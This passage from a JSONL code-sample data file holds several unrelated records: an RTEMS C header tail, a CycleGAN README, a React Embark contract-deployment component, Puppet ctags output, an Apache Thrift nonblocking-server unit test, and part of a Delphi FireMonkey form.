rtems_configuration_get_microseconds_per_tick())\n\n/**\n * @brief Returns the number of ticks for the micro seconds value @a _us.\n */\n#define RTEMS_MICROSECONDS_TO_TICKS(_us) \\\n ((_us) / rtems_configuration_get_microseconds_per_tick())\n\n/**\n * @brief Returns @c true if the name is valid, and @c false otherwise.\n */\nRTEMS_INLINE_ROUTINE bool rtems_is_name_valid (\n rtems_name name\n)\n{\n return ( name != 0 );\n}\n\n/**\n * @brief Breaks the object name into the four component characters @a c1,\n * @a c2, @a c3, and @a c4.\n */\nRTEMS_INLINE_ROUTINE void rtems_name_to_characters(\n rtems_name name,\n char *c1,\n char *c2,\n char *c3,\n char *c4\n)\n{\n *c1 = (char) ((name >> 24) & 0xff);\n *c2 = (char) ((name >> 16) & 0xff);\n *c3 = (char) ((name >> 8) & 0xff);\n *c4 = (char) ( name & 0xff);\n}\n\n/** @} */\n\n/**\n * @defgroup ClassicRTEMSWorkspace Workspace\n *\n * @ingroup RTEMSAPIClassic\n *\n * Workspace definitions.\n */\n/**@{**/\n\n/**\n * @brief Gets Workspace Information\n *\n * Returns information about the heap that is used as the RTEMS Executive\n * Workspace in @a the_info.\n *\n * Returns @c true if successful, and @a false otherwise.\n */\nbool rtems_workspace_get_information(\n Heap_Information_block *the_info\n);\n\n/**\n * @brief Allocates Memory from the Workspace\n *\n * A number of @a bytes bytes will be allocated from the RTEMS Executive\n * Workspace and returned in @a pointer.\n *\n * Returns @c true if successful, and @a false otherwise.\n */\nbool rtems_workspace_allocate(\n size_t bytes,\n void **pointer\n);\n\n/**\n * @brief Frees Memory Allocated from the Workspace\n *\n * This frees the memory indicated by @a pointer that was allocated from the\n * RTEMS Executive Workspace.\n *\n * Returns @c true if successful, and @a false otherwise.\n */\nbool rtems_workspace_free(\n void *pointer\n);\n\n/**\n * @brief Greedy allocate that empties the workspace.\n *\n * Afterwards the heap has at most @a block_count allocatable blocks of sizes\n * specified by @a block_sizes. The @a block_sizes must point to an array with\n * @a block_count members. All other blocks are used.\n *\n * @see rtems_workspace_greedy_free().\n */\nvoid *rtems_workspace_greedy_allocate(\n const uintptr_t *block_sizes,\n size_t block_count\n);\n\n/**\n * @brief Greedy allocate all blocks except the largest free block.\n *\n * Afterwards the heap has at most one allocatable block. This block is the\n * largest free block if it exists. The allocatable size of this block is\n * stored in @a allocatable_size. All other blocks are used.\n *\n * @see rtems_workspace_greedy_free().\n */\nvoid *rtems_workspace_greedy_allocate_all_except_largest(\n uintptr_t *allocatable_size\n);\n\n/**\n * @brief Frees space of a greedy allocation.\n *\n * The @a opaque argument must be the return value of\n * rtems_workspace_greedy_allocate() or\n * rtems_workspace_greedy_allocate_all_except_largest().\n */\nvoid rtems_workspace_greedy_free( void *opaque );\n\n/** @} */\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n/* end of include file */\n"} {"text": "# CycleGAN\n\n**Unpaired Image-to-Image Translation using Cycle-Consistent Adversarial Networks**\nwebsite: https://junyanz.github.io/CycleGAN/\n\narXiv: https://arxiv.org/abs/1703.10593\n\n## Setup\n\nTo begin, you'll need the [latest version of Swift for\nTensorFlow](https://github.com/tensorflow/swift/blob/master/Installation.md)\ninstalled. Make sure you've added the correct version of `swift` to your path.\n\nTo train the model, run:\n\n```sh\nswift run CycleGAN\n```\n"} {"text": "import React from 'react';\nimport FontAwesomeIcon from 'react-fontawesome';\nimport {Row,\n Col,\n FormGroup,\n Input,\n Label,\n UncontrolledTooltip,\n Button,\n Card,\n CardHeader,\n CardTitle,\n CardBody} from 'reactstrap';\nimport PropTypes from \"prop-types\";\nimport Pagination from './Pagination';\nimport classNames from 'classnames';\nimport {DEPLOYMENT_PIPELINES} from '../constants';\nimport Description from './Description';\nimport ContractOverviewContainer from '../containers/ContractOverviewContainer';\nimport FontAwesome from 'react-fontawesome';\n\nconst orderClassName = (address) => {\n return classNames('mr-4', {\n badge: true,\n 'badge-success': address,\n 'badge-secondary': !address\n });\n};\n\n// TODO add an ABI parser\nconst findConstructor = (abiDefinition) => abiDefinition.find(method => method.type === 'constructor');\n\nconst NoWeb3 = () => (\n <Row>\n <Col>\n <h3>You are not connected to web3 yet</h3>\n </Col>\n </Row>\n);\n\nconst LayoutContract = ({contract, children, title = contract.className, isLoading = false, isDeployed = false, deployedTitleSuffix, notDeployedTitleSuffix}) => (\n <Card>\n <CardHeader>\n <CardTitle>\n <span className={orderClassName(contract.deployedAddress)}>{contract.deployIndex + 1}</span>\n {title}&nbsp;\n {isLoading && <FontAwesome name=\"spinner\" spin />}\n {!isLoading && <span>{(isDeployed && deployedTitleSuffix) || notDeployedTitleSuffix}</span>}\n </CardTitle>\n </CardHeader>\n <CardBody>\n {children}\n </CardBody>\n </Card>\n);\n\nLayoutContract.propTypes = {\n contract: PropTypes.object,\n children: PropTypes.any,\n isLoading: PropTypes.bool,\n isDeployed: PropTypes.bool,\n title: PropTypes.any,\n deployedTitleSuffix: PropTypes.string,\n notDeployedTitleSuffix: PropTypes.string\n};\n\nconst DeploymentResult = ({deployment}) => {\n if (deployment.running) {\n return <p>Deployment is in progress <FontAwesomeIcon className=\"ml-1\" name=\"spinner\" spin/></p>;\n }\n\n if (deployment.error) {\n return <p className=\"text-danger\">Deployment failed: {deployment.error}</p>;\n }\n\n return (\n <React.Fragment>\n <p className=\"text-success\">Deployment succeed:</p>\n <dl className=\"row\">\n <Description label=\"Transaction\" value={deployment.transactionHash}/>\n <Description label=\"Gas used\" value={deployment.gasUsed}/>\n <Description label=\"Address\" value={deployment.contractAddress}/>\n </dl>\n </React.Fragment>\n );\n};\n\nDeploymentResult.propTypes = {\n deployment: PropTypes.object\n};\n\nconst GasEstimateResult = ({gasEstimate}) => {\n if (gasEstimate.running) {\n return <p>Gas Estimation is in progresss <FontAwesomeIcon className=\"ml-1\" name=\"spinner\" spin/></p>;\n }\n\n if (gasEstimate.error) {\n return <p className=\"text-danger\">Gas Estimation failed: {gasEstimate.error}</p>;\n }\n\n return <p className=\"text-success\">Gas Estimation succeed: {gasEstimate.gas}</p>;\n};\n\nGasEstimateResult.propTypes = {\n gasEstimate: PropTypes.object\n};\n\nclass Web3Contract extends React.Component {\n constructor(props) {\n super(props);\n this.state = {inputs: {}};\n }\n\n handleOnChange(event, name) {\n let newInputs = this.state.inputs;\n newInputs[name] = event.target.value;\n this.setState({inputs: newInputs});\n }\n\n inputsAsArray() {\n const constructor = findConstructor(this.props.contract.abiDefinition);\n if (!constructor) return [];\n\n return constructor.inputs\n .map(input => this.state.inputs[input.name])\n .filter(value => value);\n }\n\n actionDisabled() {\n const constructor = findConstructor(this.props.contract.abiDefinition);\n if (!constructor) return false;\n\n return this.inputsAsArray().length !== constructor.inputs.length;\n }\n\n isDeployed() {\n const contractInStore = this.props.web3ContractsDeployed[this.props.contract.className];\n return contractInStore && contractInStore.isDeployed;\n }\n isCheckingIfDeployed() {\n const contractInStore = this.props.web3ContractsDeployed[this.props.contract.className];\n return contractInStore && contractInStore.running;\n }\n\n render() {\n const abiConstructor = findConstructor(this.props.contract.abiDefinition);\n const argumentsRequired = abiConstructor && abiConstructor.inputs.length > 0;\n const isDeployed = this.isDeployed();\n const isCheckingIfDeployed = this.isCheckingIfDeployed();\n return (\n <LayoutContract contract={this.props.contract} \n isLoading={isCheckingIfDeployed}\n isDeployed={isDeployed}\n deployedTitleSuffix={`deployed at ${this.props.contract.deployedAddress}`}\n notDeployedTitleSuffix={`not deployed`}>\n <Row>\n <Col md={6}>\n {isDeployed && <p><strong>Contract deployed</strong></p>}\n {argumentsRequired &&\n <React.Fragment>\n <h5>Arguments:</h5>\n {abiConstructor.inputs.map(input => (\n <FormGroup key={input.name}>\n <Label htmlFor={input.name}>{input.name}</Label>\n <Input id={input.name} placeholder={input.name} onChange={e => this.handleOnChange(e, input.name)}/>\n </FormGroup>\n ))}\n </React.Fragment>\n }\n\n {!this.props.web3 && <NoWeb3/>}\n\n {this.props.web3 &&\n <React.Fragment>\n <Button className=\"mr-2\"\n color=\"primary\"\n disabled={this.actionDisabled()}\n onClick={() => this.props.web3EstimateGas(this.props.contract, this.inputsAsArray())}>\n Estimate\n </Button>\n <Button color=\"primary\" disabled={this.actionDisabled()}\n onClick={() => this.props.web3Deploy(this.props.contract, this.inputsAsArray())}>Deploy</Button>\n </React.Fragment>\n }\n </Col>\n <Col md={5}>\n {this.props.gasEstimate && <GasEstimateResult gasEstimate={this.props.gasEstimate}/>}\n <hr/>\n {this.props.deployment && <DeploymentResult deployment={this.props.deployment}/>}\n </Col>\n </Row>\n </LayoutContract>\n );\n }\n}\n\nWeb3Contract.propTypes = {\n contract: PropTypes.object,\n web3: PropTypes.object,\n web3EstimateGas: PropTypes.func,\n web3Deploy: PropTypes.func,\n gasEstimate: PropTypes.object,\n deployment: PropTypes.object,\n web3ContractsDeployed: PropTypes.object\n};\n\nconst EmbarkContract = ({contract, toggleContractOverview}) => (\n <LayoutContract contract={contract}\n isDeployed={!!contract.deployedAddress}\n deployedTitleSuffix={`deployed at ${contract.deployedAddress}`}\n notDeployedTitleSuffix={'not deployed'}\n title={<a href='#toggleContract' onClick={() => toggleContractOverview(contract)}>{contract.className}</a>}>\n {contract.deployedAddress && <p><strong>Arguments:</strong> {JSON.stringify(contract.args)}</p>}\n {contract.transactionHash &&\n <React.Fragment>\n <p><strong>Transaction Hash:</strong> {contract.transactionHash}</p>\n <p><strong>{contract.gas}</strong> gas at <strong>{contract.gasPrice}</strong> Wei, estimated\n cost: <strong>{contract.gas * contract.gasPrice}</strong> Wei</p>\n </React.Fragment>\n }\n {contract.deployedAddress && !contract.transactionHash &&\n <p><strong>Contract already deployed</strong></p>\n }\n </LayoutContract>\n);\n\nEmbarkContract.propTypes = {\n contract: PropTypes.object,\n toggleContractOverview: PropTypes.func\n};\n\nconst ContractsHeader = ({deploymentPipeline, updateDeploymentPipeline}) => (\n <Row>\n <div className=\"ml-auto mr-5\">\n <FormGroup row>\n <span className=\"mr-2\">Deploy using</span>\n <FormGroup check inline>\n <Label className=\"form-check-label\" check>\n <Input className=\"form-check-input\"\n type=\"radio\"\n onChange={() => updateDeploymentPipeline(DEPLOYMENT_PIPELINES.embark)}\n checked={deploymentPipeline === DEPLOYMENT_PIPELINES.embark}/>\n Embark\n <FontAwesomeIcon className=\"ml-1\" name=\"question\" id=\"embark-tooltip\"/>\n <UncontrolledTooltip placement=\"bottom\" target=\"embark-tooltip\">\n Embark will deploy the contracts automatically for you each time there is a change in one of them.\n </UncontrolledTooltip>\n </Label>\n </FormGroup>\n <FormGroup check inline>\n <Label className=\"form-check-label\" check>\n <Input className=\"form-check-input\"\n type=\"radio\"\n onChange={() => updateDeploymentPipeline(DEPLOYMENT_PIPELINES.injectedWeb3)}\n checked={deploymentPipeline === DEPLOYMENT_PIPELINES.injectedWeb3}/>\n Injected Web3\n <FontAwesomeIcon className=\"ml-1\" name=\"question\" id=\"web3-tooltip\"/>\n <UncontrolledTooltip placement=\"bottom\" target=\"web3-tooltip\">\n You will have full control on your deployment\n </UncontrolledTooltip>\n </Label>\n </FormGroup>\n </FormGroup>\n </div>\n </Row>\n);\n\nContractsHeader.propTypes = {\n deploymentPipeline: PropTypes.oneOfType([\n PropTypes.object,\n PropTypes.string\n ]),\n updateDeploymentPipeline: PropTypes.func\n};\n\nconst Contract = ({web3, contract, deploymentPipeline, web3Deploy, web3EstimateGas, web3Deployments, web3GasEstimates, web3ContractsDeployed, toggleContractOverview}) => {\n const deployment = web3Deployments[contract.className];\n const gasEstimate = web3GasEstimates[contract.className];\n switch (deploymentPipeline) {\n case DEPLOYMENT_PIPELINES.embark:\n return <EmbarkContract contract={contract} toggleContractOverview={toggleContractOverview}/>;\n case DEPLOYMENT_PIPELINES.injectedWeb3:\n return <Web3Contract web3={web3}\n deployment={deployment}\n gasEstimate={gasEstimate}\n contract={contract}\n web3Deploy={web3Deploy}\n web3EstimateGas={web3EstimateGas}\n web3ContractsDeployed={web3ContractsDeployed}/>;\n default:\n return <React.Fragment/>;\n }\n};\n\nContract.propTypes = {\n contract: PropTypes.object,\n deploymentPipeline: PropTypes.oneOfType([\n PropTypes.object,\n PropTypes.string\n ]),\n toggleContractOverview: PropTypes.func,\n web3: PropTypes.object,\n web3Deploy: PropTypes.func,\n web3Deployments: PropTypes.object,\n web3EstimateGas: PropTypes.func,\n web3GasEstimates: PropTypes.object,\n web3ContractsDeployed: PropTypes.object\n};\n\nclass ContractsDeployment extends React.Component {\n constructor(props) {\n super(props);\n this.state = { currentContractOverview: null }\n }\n\n toggleContractOverview(contract) {\n if (this.state.currentContractOverview && this.state.currentContractOverview.className === contract.className) {\n return this.setState({currentContractOverview: null});\n }\n this.setState({currentContractOverview: contract});\n }\n\n isContractOverviewOpen() {\n return this.state.currentContractOverview && this.props.deploymentPipeline === DEPLOYMENT_PIPELINES.embark;\n }\n\n render() {\n const props = this.props;\n const {changePage, currentPage, numberOfPages} = props;\n return (\n <React.Fragment>\n <Row>\n <Col>\n <ContractsHeader\n deploymentPipeline={props.deploymentPipeline}\n updateDeploymentPipeline={props.updateDeploymentPipeline} />\n {!props.contracts.length && \"No contracts to display\"}\n {props.contracts\n .map((contract, index) => {\n contract.deployIndex = index;\n return (\n <Contract key={contract.deployIndex}\n contract={contract}\n toggleContractOverview={(contract) => this.toggleContractOverview(contract)}\n {...props} />\n );\n })}\n </Col>\n {this.isContractOverviewOpen() &&\n <Col xs={6} md={3}>\n <Card>\n <CardBody>\n <h2>{this.state.currentContractOverview.className} - Overview</h2>\n <ContractOverviewContainer contract={this.state.currentContractOverview} />\n </CardBody>\n </Card>\n </Col>\n }\n </Row>\n {numberOfPages > 1 && <Pagination changePage={changePage} currentPage={currentPage} numberOfPages={numberOfPages}/>}\n </React.Fragment>\n )\n }\n}\n\nContractsDeployment.propTypes = {\n contracts: PropTypes.array,\n changePage: PropTypes.func,\n currentPage: PropTypes.number,\n numberOfPages: PropTypes.number,\n deploymentPipeline: PropTypes.oneOfType([\n PropTypes.object,\n PropTypes.string\n ]),\n updateDeploymentPipeline: PropTypes.func,\n web3Deployments: PropTypes.object,\n web3GasEstimates: PropTypes.object,\n web3: PropTypes.object,\n web3Deploy: PropTypes.func,\n web3EstimateGas: PropTypes.func,\n web3ContractsDeployed: PropTypes.object\n};\n\nexport default ContractsDeployment;\n"} {"text": "/tmp/singleary1\tinput.pp\t/^file { \"\\/tmp\\/singleary1\":$/;\"\tresource\tline:3\tlanguage:PuppetManifest\tend:5\n/tmp/singleary2\tinput.pp\t/^file { \"\\/tmp\\/singleary2\":$/;\"\tresource\tline:7\tlanguage:PuppetManifest\tend:9\n/tmp/singleary3\tinput.pp\t/^file { \"\\/tmp\\/singleary3\":$/;\"\tresource\tline:11\tlanguage:PuppetManifest\tend:14\n/tmp/singleary4\tinput.pp\t/^file { \"\\/tmp\\/singleary4\":$/;\"\tresource\tline:16\tlanguage:PuppetManifest\tend:19\n"} {"text": "/*\n * Licensed to the Apache Software Foundation (ASF) under one\n * or more contributor license agreements. See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership. The ASF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License. You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied. See the License for the\n * specific language governing permissions and limitations\n * under the License.\n */\n\n#define BOOST_TEST_MODULE TNonblockingServerTest\n#include <boost/test/unit_test.hpp>\n\n#include \"thrift/concurrency/Monitor.h\"\n#include \"thrift/concurrency/Thread.h\"\n#include \"thrift/server/TNonblockingServer.h\"\n#include \"thrift/transport/TNonblockingServerSocket.h\"\n#include \"thrift/stdcxx.h\"\n\n#include \"gen-cpp/ParentService.h\"\n\n#include <event.h>\n\nusing apache::thrift::concurrency::Guard;\nusing apache::thrift::concurrency::Monitor;\nusing apache::thrift::concurrency::Mutex;\nusing apache::thrift::concurrency::PlatformThreadFactory;\nusing apache::thrift::concurrency::Runnable;\nusing apache::thrift::concurrency::Thread;\nusing apache::thrift::concurrency::ThreadFactory;\nusing apache::thrift::server::TServerEventHandler;\nusing apache::thrift::stdcxx::make_shared;\nusing apache::thrift::stdcxx::shared_ptr;\n\nusing namespace apache::thrift;\n\nstruct Handler : public test::ParentServiceIf {\n void addString(const std::string& s) { strings_.push_back(s); }\n void getStrings(std::vector<std::string>& _return) { _return = strings_; }\n std::vector<std::string> strings_;\n\n // dummy overrides not used in this test\n int32_t incrementGeneration() { return 0; }\n int32_t getGeneration() { return 0; }\n void getDataWait(std::string&, const int32_t) {}\n void onewayWait() {}\n void exceptionWait(const std::string&) {}\n void unexpectedExceptionWait(const std::string&) {}\n};\n\nclass Fixture {\nprivate:\n struct ListenEventHandler : public TServerEventHandler {\n public:\n ListenEventHandler(Mutex* mutex) : listenMonitor_(mutex), ready_(false) {}\n\n void preServe() /* override */ {\n Guard g(listenMonitor_.mutex());\n ready_ = true;\n listenMonitor_.notify();\n }\n\n Monitor listenMonitor_;\n bool ready_;\n };\n\n struct Runner : public Runnable {\n int port;\n shared_ptr<event_base> userEventBase;\n shared_ptr<TProcessor> processor;\n shared_ptr<server::TNonblockingServer> server;\n shared_ptr<ListenEventHandler> listenHandler;\n shared_ptr<transport::TNonblockingServerSocket> socket;\n Mutex mutex_;\n\n Runner() {\n listenHandler.reset(new ListenEventHandler(&mutex_));\n }\n\n virtual void run() {\n // When binding to explicit port, allow retrying to workaround bind failures on ports in use\n int retryCount = port ? 10 : 0;\n startServer(retryCount);\n }\n\n void readyBarrier() {\n // block until server is listening and ready to accept connections\n Guard g(mutex_);\n while (!listenHandler->ready_) {\n listenHandler->listenMonitor_.wait();\n }\n }\n private:\n void startServer(int retry_count) {\n try {\n socket.reset(new transport::TNonblockingServerSocket(port));\n server.reset(new server::TNonblockingServer(processor, socket));\n server->setServerEventHandler(listenHandler);\n if (userEventBase) {\n server->registerEvents(userEventBase.get());\n }\n server->serve();\n } catch (const transport::TTransportException&) {\n if (retry_count > 0) {\n ++port;\n startServer(retry_count - 1);\n } else {\n throw;\n }\n }\n }\n };\n\n struct EventDeleter {\n void operator()(event_base* p) { event_base_free(p); }\n };\n\nprotected:\n Fixture() : processor(new test::ParentServiceProcessor(make_shared<Handler>())) {}\n\n ~Fixture() {\n if (server) {\n server->stop();\n }\n if (thread) {\n thread->join();\n }\n }\n\n void setEventBase(event_base* user_event_base) {\n userEventBase_.reset(user_event_base, EventDeleter());\n }\n\n int startServer(int port) {\n shared_ptr<Runner> runner(new Runner);\n runner->port = port;\n runner->processor = processor;\n runner->userEventBase = userEventBase_;\n\n shared_ptr<ThreadFactory> threadFactory(\n new PlatformThreadFactory(\n#if !USE_BOOST_THREAD && !USE_STD_THREAD\n PlatformThreadFactory::OTHER, PlatformThreadFactory::NORMAL,\n 1,\n#endif\n false));\n thread = threadFactory->newThread(runner);\n thread->start();\n runner->readyBarrier();\n\n server = runner->server;\n return runner->port;\n }\n\n bool canCommunicate(int serverPort) {\n shared_ptr<transport::TSocket> socket(new transport::TSocket(\"localhost\", serverPort));\n socket->open();\n test::ParentServiceClient client(make_shared<protocol::TBinaryProtocol>(\n make_shared<transport::TFramedTransport>(socket)));\n client.addString(\"foo\");\n std::vector<std::string> strings;\n client.getStrings(strings);\n return strings.size() == 1 && !(strings[0].compare(\"foo\"));\n }\n\nprivate:\n shared_ptr<event_base> userEventBase_;\n shared_ptr<test::ParentServiceProcessor> processor;\nprotected:\n shared_ptr<server::TNonblockingServer> server;\nprivate:\n shared_ptr<concurrency::Thread> thread;\n\n};\n\nBOOST_AUTO_TEST_SUITE(TNonblockingServerTest)\n\nBOOST_FIXTURE_TEST_CASE(get_specified_port, Fixture) {\n int specified_port = startServer(12345);\n BOOST_REQUIRE_GE(specified_port, 12345);\n BOOST_REQUIRE_EQUAL(server->getListenPort(), specified_port);\n BOOST_CHECK(canCommunicate(specified_port));\n\n server->stop();\n}\n\nBOOST_FIXTURE_TEST_CASE(get_assigned_port, Fixture) {\n int specified_port = startServer(0);\n BOOST_REQUIRE_EQUAL(specified_port, 0);\n int assigned_port = server->getListenPort();\n BOOST_REQUIRE_NE(assigned_port, 0);\n BOOST_CHECK(canCommunicate(assigned_port));\n\n server->stop();\n}\n\nBOOST_FIXTURE_TEST_CASE(provide_event_base, Fixture) {\n event_base* eb = event_base_new();\n setEventBase(eb);\n startServer(0);\n\n // assert that the server works\n BOOST_CHECK(canCommunicate(server->getListenPort()));\n#if LIBEVENT_VERSION_NUMBER > 0x02010400\n // also assert that the event_base is actually used when it's easy\n BOOST_CHECK_GT(event_base_get_num_events(eb, EVENT_BASE_COUNT_ADDED), 0);\n#endif\n}\n\nBOOST_AUTO_TEST_SUITE_END()\n"} {"text": "object SynchControlsForm: TSynchControlsForm\n Left = 0\n Top = 0\n Caption = 'Synchonize Controls '\n ClientHeight = 693\n ClientWidth = 828\n FormFactor.Width = 320\n FormFactor.Height = 480\n FormFactor.Devices = [dkDesktop, dkiPhone, dkiPad]\n OnCreate = FormCreate\n DesignerMobile = False\n DesignerWidth = 0\n DesignerHeight = 0\n DesignerDeviceName = ''\n DesignerOrientation = 0\n object Root1: TLayout\n Align = alClient\n Height = 693.000000000000000000\n Width = 828.000000000000000000\n object ToolBar1: TToolBar\n Height = 73.000000000000000000\n HelpType = htKeyword\n TabOrder = 0\n Width = 828.000000000000000000\n object Label4: TLabel\n Align = alCenter\n Font.Size = 12.000000000000000000\n Height = 55.000000000000000000\n HelpType = htKeyword\n Text = \n 'Unidirection and Bidirectional expressions are used to synchroni' +\n 'ze controls'\n TextAlign = taCenter\n Width = 433.000000000000000000\n end\n end\n object Grid1: TGridLayout\n Align = alClient\n Height = 612.000000000000000000\n ItemHeight = 200.000000000000000000\n ItemWidth = 200.000000000000000000\n Orientation = orHorizontal\n Margins.Left = 4.000000000000000000\n Margins.Top = 4.000000000000000000\n Margins.Right = 4.000000000000000000\n Margins.Bottom = 4.000000000000000000\n Width = 820.000000000000000000\n object Panel1: TPanel\n Align = alLeft\n Height = 196.000000000000000000\n HelpType = htKeyword\n Padding.Left = 5.000000000000000000\n Padding.Top = 5.000000000000000000\n Padding.Right = 5.000000000000000000\n Padding.Bottom = 5.000000000000000000\n Margins.Left = 2.000000000000000000\n Margins.Top = 2.000000000000000000\n Margins.Right = 2.000000000000000000\n Margins.Bottom = 2.000000000000000000\n Position.X = 2.000000000000000000\n Position.Y = 2.000000000000000000\n Width = 196.000000000000000000\n TabOrder = 0\n object ValueLabel1: TLabel\n Align = alTop\n Height = 15.000000000000000000\n HelpType = htKeyword\n Position.X = 5.000000000000000000\n Position.Y = 5.000000000000000000\n Text = 'TrackBar <-> Edit and Label'\n TextAlign = taCenter\n Width = 186.000000000000000000\n end\n object Panel1TrackBar1: TTrackBar\n Frequency = 1.000000000000000000\n Height = 20.000000000000000000\n HelpType = htKeyword\n Orientation = orHorizontal\n Position.X = 42.000000000000000000\n Position.Y = 45.000000000000000000\n TabOrder = 1\n Width = 109.000000000000000000\n OnChange = OnControlChange\n end\n object Panel1Edit1: TEdit\n Touch.InteractiveGestures = [igLongTap, igDoubleTap]\n TabOrder = 2\n Text = '0'\n Position.X = 13.000000000000000000\n Position.Y = 103.000000000000000000\n Width = 110.000000000000000000\n Height = 21.000000000000000000\n HelpType = htKeyword\n KillFocusByReturn = False\n OnChange = OnControlChange\n end\n object Panel1Label1: TLabel\n Height = 15.000000000000000000\n HelpType = htKeyword\n Position.X = 127.000000000000000000\n Position.Y = 105.000000000000000000\n Text = '0'\n TextAlign = taCenter\n Width = 50.000000000000000000\n end\n object Panel1CheckBox1: TCheckBox\n Height = 19.000000000000000000\n Position.X = 16.000000000000000000\n Position.Y = 168.000000000000000000\n TabOrder = 4\n Text = 'Active'\n Width = 120.000000000000000000\n OnChange = Panel1CheckBox1Change\n end\n end\n object Panel2: TPanel\n Align = alLeft\n Height = 196.000000000000000000\n HelpType = htKeyword\n Padding.Left = 5.000000000000000000\n Padding.Top = 5.000000000000000000\n Padding.Right = 5.000000000000000000\n Padding.Bottom = 5.000000000000000000\n Margins.Left = 2.000000000000000000\n Margins.Top = 2.000000000000000000\n Margins.Right = 2.000000000000000000\n Margins.Bottom = 2.000000000000000000\n Position.X = 202.000000000000000000\n Position.Y = 2.000000000000000000\n Width = 196.000000000000000000\n TabOrder = 1\n object TLabel\n Align = alTop\n Height = 15.000000000000000000\n HelpType = htKeyword\n Position.X = 5.000000000000000000\n Position.Y = 5.000000000000000000\n Text = 'Two TrackBar <-> sync'\n TextAlign = taCenter\n Width = 186.000000000000000000\n end\n object Panel2Tracker1: TTrackBar\n Frequency = 0.500000000000000000\n Height = 20.000000000000000000\n HelpType = htKeyword\n Orientation = orHorizontal\n Position.X = 30.000000000000000000\n Position.Y = 76.000000000000000000\n TabOrder = 1\n Value = 50.000000000000000000\n Width = 135.000000000000000000\n OnChange = OnControlChange\n end\n object Panel2Tracker2: TTrackBar\n Frequency = 0.500000000000000000\n Height = 20.000000000000000000\n HelpType = htKeyword\n Orientation = orHorizontal\n Position.X = 30.000000000000000000\n Position.Y = 110.000000000000000000\n TabOrder = 2\n Value = 33.000000000000000000\n Width = 135.000000000000000000\n OnChange = OnControlChange\n end\n object Panel2Label1: TLabel\n Height = 15.000000000000000000\n HelpType = htKeyword\n Position.X = 56.000000000000000000\n Position.Y = 41.000000000000000000\n Text = 'Label'\n TextAlign = taCenter\n Width = 83.000000000000000000\n end\n object Panel2CheckBox: TCheckBox\n Height = 19.000000000000000000\n Position.X = 8.000000000000000000\n Position.Y = 168.000000000000000000\n TabOrder = 4\n Text = 'Active'\n Width = 120.000000000000000000\n OnChange = Panel1CheckBox1Change\n end\n end\n object Panel3: TPanel\n Align = alLeft\n Height = 196.000000000000000000\n HelpType = htKeyword\n Padding.Left = 5.000000000000000000\n Padding.Top = 5.000000000000000000\n Padding.Right = 5.000000000000000000\n Padding.Bottom = 5.000000000000000000\n Margins.Left = 2.000000000000000000\n Margins.Top = 2.000000000000000000\n Margins.Right = 2.000000000000000000\n Margins.Bottom = 2.000000000000000000\n Position.X = 402.000000000000000000\n Position.Y = 2.000000000000000000\n Width = 196.000000000000000000\n TabOrder = 2\n object TLabel\n Align = alTop\n Height = 15.000000000000000000\n HelpType = htKeyword\n Position.X = 5.000000000000000000\n Position.Y = 5.000000000000000000\n Text = 'Edit -> Label'\n TextAlign = taCenter\n Width = 186.000000000000000000\n end\n object Panel3Edit1: TEdit\n Touch.InteractiveGestures = [igLongTap, igDoubleTap]\n TabOrder = 1\n Text = 'BindingText'\n Position.X = 27.000000000000000000\n Position.Y = 105.000000000000000000\n Width = 149.000000000000000000\n Height = 21.000000000000000000\n HelpType = htKeyword\n KillFocusByReturn = False\n OnChange = OnControlChange\n end\n object Panel3Label1: TLabel\n Height = 38.000000000000000000\n HelpType = htKeyword\n Position.X = 27.000000000000000000\n Position.Y = 46.000000000000000000\n Text = 'binding text'\n TextAlign = taCenter\n Width = 149.000000000000000000\n end\n object Panel3CheckBox1: TCheckBox\n Height = 19.000000000000000000\n Position.X = 8.000000000000000000\n Position.Y = 168.000000000000000000\n TabOrder = 3\n Text = 'Active'\n Width = 120.000000000000000000\n OnChange = Panel1CheckBox1Change\n end\n end\n object Panel4: TPanel\n Align = alLeft\n Height = 196.000000000000000000\n HelpType = htKeyword\n Padding.Left = 5.000000000000000000\n Padding.Top = 5.000000000000000000\n Padding.Right = 5.000000000000000000\n Padding.Bottom = 5.000000000000000000\n Margins.Left = 2.000000000000000000\n Margins.Top = 2.000000000000000000\n Margins.Right = 2.000000000000000000\n Margins.Bottom = 2.000000000000000000\n Position.X = 602.000000000000000000\n Position.Y = 2.000000000000000000\n Width = 196.000000000000000000\n TabOrder = 3\n object TLabel\n Align = alTop\n Height = 15.000000000000000000\n HelpType = htKeyword\n Position.X = 5.000000000000000000\n Position.Y = 5.000000000000000000\n Text = 'NumberBox -> Label'\n TextAlign = taCenter\n Width = 186.000000000000000000\n end\n object Panel4NumberBox1: TNumberBox\n Touch.InteractiveGestures = [igLongTap, igDoubleTap]\n TabOrder = 1\n Cursor = crIBeam\n Position.X = 48.000000000000000000\n Position.Y = 104.000000000000000000\n Width = 100.000000000000000000\n Height = 21.000000000000000000\n HelpType = htKeyword\n VertIncrement = 5.000000000000000000\n OnChange = OnControlChange\n end\n object Panel4Label1: TLabel\n Height = 15.000000000000000000\n HelpType = htKeyword\n Position.X = 73.000000000000000000\n Position.Y = 56.000000000000000000\n StyleLookup = 'valuelabelstyle'\n Text = '33'\n TextAlign = taCenter\n Width = 50.000000000000000000\n end\n object Panel4CheckBox1: TCheckBox\n Height = 19.000000000000000000\n Position.X = 8.000000000000000000\n Position.Y = 168.000000000000000000\n TabOrder = 3\n Text = 'Active'\n Width = 120.000000000000000000\n OnChange = Panel1CheckBox1Change\n end\n end\n object Panel5: TPanel\n Align = alLeft\n Height = 196.000000000000000000\n HelpType = htKeyword\n Padding.Left = 5.000000000000000000\n Padding.Top = 5.000000000000000000\n Padding.Right = 5.000000000000000000\n Padding.Bottom = 5.000000000000000000\n Margins.Left = 2.000000000000000000\n Margins.Top = 2.000000000000000000\n Margins.Right = 2.000000000000000000\n Margins.Bottom = 2.000000000000000000\n Position.X = 2.000000000000000000\n Position.Y = 202.000000000000000000\n Width = 196.000000000000000000\n TabOrder = 4\n object TLabel\n Align = alTop\n Height = 15.000000000000000000\n HelpType = htKeyword\n Position.X = 5.000000000000000000\n Position.Y = 5.000000000000000000\n Text = 'Edit <-> Edit'\n TextAlign = taCenter\n Width = 186.000000000000000000\n end\n object 